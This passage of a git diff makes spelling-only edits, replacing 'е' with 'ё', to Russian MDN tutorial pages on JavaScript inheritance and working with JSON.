+<p>Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅, Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ ΠΎΠ± этом, ΠΏΠΎΠΊΠ° Π²Ρ‹ Π΅Ρ‰Ρ‘ ΡƒΡ‡ΠΈΡ‚Π΅ΡΡŒ ΠΈ Π·Π½Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ΄Ρ‘Ρ‚ с ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ.</p>
<h2 id="Когда_Π²Ρ‹_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅_наслСдованиС_Π²_JavaScript">Когда Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ наслСдованиС Π² JavaScript?</h2>
<p>Π’ частности, послС этой послСднСй ΡΡ‚Π°Ρ‚ΡŒΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ: Β«Π£-Ρƒ-Ρƒ, это слоТно». Ну, Ρ‚Ρ‹ ΠΏΡ€Π°Π². ΠŸΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡ‹ ΠΈ наслСдованиС ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· самых слоТных аспСктов JavaScript, Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ возмоТности ΠΈ Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ JavaScript Π²Ρ‹Ρ‚Π΅ΠΊΠ°ΡŽΡ‚ ΠΈΠ· Π΅Π³ΠΎ структуры ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ наслСдования ΠΈ стоит ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
-<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ смыслС Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ наслСдованиС всС врСмя. Всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Π΅Π±-API ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹/свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²ΠΎ встроСнном ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π² своих строках, массивах ΠΈ Ρ‚.Π΄., Π²Ρ‹ нСявно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ наслСдованиС.</p>
+<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ смыслС Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ наслСдованиС всС врСмя. Всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Π΅Π±-API ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹/свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²ΠΎ встроСнном ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π² своих строках, массивах ΠΈ Ρ‚.Π΄., Π²Ρ‹ нСявно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ наслСдованиС.</p>
-<p>Π§Ρ‚ΠΎ касаСтся использования наслСдования Π² вашСм собствСнном ΠΊΠΎΠ΄Π΅, Π²Ρ‹, вСроятно, Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ часто Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, особСнно для Π½Π°Ρ‡Π°Π»Π° ΠΈ Π² Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°Ρ…. Π­Ρ‚ΠΎ пустая Ρ‚Ρ€Π°Ρ‚Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° использованиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ наслСдованиС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ€Π°Π΄ΠΈ этого, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹. Но ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ваши Π±Π°Π·Ρ‹ ΠΊΠΎΠ΄Π° становятся большС, Π²Ρ‹ с большСй Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Π² этом. Если Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ нСсколько ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² с ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ функциями, Ρ‚ΠΎ созданиС ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, содСрТащСго всС ΠΎΠ±Ρ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ наслСдованиС этих Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² Π±ΠΎΠ»Π΅Π΅ спСциализированных Ρ‚ΠΈΠΏΠ°Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ.</p>
+<p>Π§Ρ‚ΠΎ касаСтся использования наслСдования Π² вашСм собствСнном ΠΊΠΎΠ΄Π΅, Π²Ρ‹, вСроятно, Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ часто Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, особСнно для Π½Π°Ρ‡Π°Π»Π° ΠΈ Π² Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°Ρ…. Π­Ρ‚ΠΎ пустая Ρ‚Ρ€Π°Ρ‚Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° использованиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ наслСдованиС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ€Π°Π΄ΠΈ этого, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹. Но ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ваши Π±Π°Π·Ρ‹ ΠΊΠΎΠ΄Π° становятся большС, Π²Ρ‹ с большСй Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Π² этом. Если Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ нСсколько ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² с ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ функциями, Ρ‚ΠΎ созданиС ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, содСрТащСго всС ΠΎΠ±Ρ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ наслСдованиС этих Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² Π±ΠΎΠ»Π΅Π΅ спСциализированных Ρ‚ΠΈΠΏΠ°Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Из-Π·Π° Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ JavaScript, с Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² ΠΈ Ρ‚.Π΄., совмСстноС использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ часто называСтся <strong>Π΄Π΅Π»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ</strong>. Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π΄Π΅Π»Π΅Π³ΠΈΡ€ΡƒΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
@@ -236,7 +236,7 @@ teacher1.farewell();</pre>
<p>ΠŸΡ€ΠΈ использовании наслСдования Π²Π°ΠΌ рСкомСндуСтся Π½Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ слишком ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ наслСдования ΠΈ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ, Π³Π΄Π΅ Π²Ρ‹ опрСдСляСтС свои ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ свойства. МоТно Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ измСняСт ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡ‹ встроСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π½ΠΎ Π²Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ этого Π΄Π΅Π»Π°Ρ‚ΡŒ, Ссли Ρƒ вас Π½Π΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ вСской ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹. Блишком ΠΌΠ½ΠΎΠ³ΠΎ наслСдования ΠΌΠΎΠ³ΡƒΡ‚ привСсти ΠΊ бСсконСчной ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π΅ ΠΈ бСсконСчной Π±ΠΎΠ»ΠΈ ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°.</p>
-<p>Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счСтС, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ - это Π΅Ρ‰Π΅ ΠΎΠ΄Π½Π° Ρ„ΠΎΡ€ΠΌΠ° ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ использования ΠΊΠΎΠ΄Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ»ΠΈ Ρ†ΠΈΠΊΠ»ΠΎΠ², со своими ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌΠΈ ролями ΠΈ прСимущСствами. Если Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ создаСтС ΠΊΡƒΡ‡Ρƒ связанных ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… всС вмСстС ΠΈ Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½ΠΎ ΠΈΡ… ΡƒΠΏΠ°ΠΊΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ являСтся Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΈΠ΄Π΅Π΅ΠΉ. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ мСста Π² Π΄Ρ€ΡƒΠ³ΠΎΠ΅. ОбС эти Π²Π΅Ρ‰ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ достигнуты Π±Π΅Π· использования конструкторов ΠΈΠ»ΠΈ наслСдования. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π²Π°ΠΌ Π»ΡƒΡ‡ΡˆΠ΅ всСго ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΡ‚Π΅Ρ€Π°Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ Π²Π°ΠΌ, разумССтся, Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ наслСдованиС.</p>
+<p>Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счётС, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ - это Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Π° Ρ„ΠΎΡ€ΠΌΠ° ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ использования ΠΊΠΎΠ΄Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ»ΠΈ Ρ†ΠΈΠΊΠ»ΠΎΠ², со своими ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌΠΈ ролями ΠΈ прСимущСствами. Если Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ создаётС ΠΊΡƒΡ‡Ρƒ связанных ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… всС вмСстС ΠΈ Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½ΠΎ ΠΈΡ… ΡƒΠΏΠ°ΠΊΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ являСтся Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ ΠΈΠ΄Π΅Π΅ΠΉ. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ мСста Π² Π΄Ρ€ΡƒΠ³ΠΎΠ΅. ОбС эти Π²Π΅Ρ‰ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ достигнуты Π±Π΅Π· использования конструкторов ΠΈΠ»ΠΈ наслСдования. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π²Π°ΠΌ Π»ΡƒΡ‡ΡˆΠ΅ всСго ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΡ‚Π΅Ρ€Π°Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ Π²Π°ΠΌ, разумССтся, Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ наслСдованиС.</p>
<h2 id="РСзюмС">РСзюмС</h2>
diff --git a/files/ru/learn/javascript/objects/json/index.html b/files/ru/learn/javascript/objects/json/index.html
index 68cc6c7fdd..be0ab2e664 100644
--- a/files/ru/learn/javascript/objects/json/index.html
+++ b/files/ru/learn/javascript/objects/json/index.html
@@ -12,7 +12,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/JSON
<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</div>
-<p class="summary">ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript (JSON - JavaScript Object Notation) - стандартный тСкстовый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для прСдставлСния структурированных Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° основС синтаксиса ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° JavaScript. Он ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π² Π²Π΅Π±-прилоТСниях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ,Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ это ΠΌΠΎΠ³Π»ΠΎΒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π½Π° Π²Π΅Π±-страницС ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚). Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ с этим довольно часто, поэтому Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π΄Π°Π΅ΠΌ Π²Π°ΠΌ всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с JSON ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ JavaScript, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ ΠΏΠ°Ρ€ΡΠΈΠ½Π³ JSON, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ ΠΏΡ€ΠΈ создании JSON.</p>
+<p class="summary">ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript (JSON - JavaScript Object Notation) - стандартный тСкстовый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для прСдставлСния структурированных Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° основС синтаксиса ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° JavaScript. Он ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π² Π²Π΅Π±-прилоТСниях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ,Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ это ΠΌΠΎΠ³Π»ΠΎΒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π½Π° Π²Π΅Π±-страницС ΠΈΠ»ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚). Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ с этим довольно часто, поэтому Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π΄Π°Ρ‘ΠΌ Π²Π°ΠΌ всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с JSON ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ JavaScript, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ ΠΏΠ°Ρ€ΡΠΈΠ½Π³ JSON, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ ΠΏΡ€ΠΈ создании JSON.</p>
<table class="learn-box standard-table">
<tbody>
@@ -37,7 +37,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/JSON
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ строки Π² Ρ€ΠΎΠ΄Π½ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ называСтся дСсСриализациСй (ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅Β ΠΈΠ· ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ Π² ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΡƒΡŽ<em>)</em>, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊΒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΈ Ρ€ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² строку, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ,Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΎΠ½ ΠΌΠΎΠ³Β Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ Ρ‡Π΅Ρ€Π΅Π· ΡΠ΅Ρ‚ΡŒ, называСтся сСриализациСй(ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ).</p>
</div>
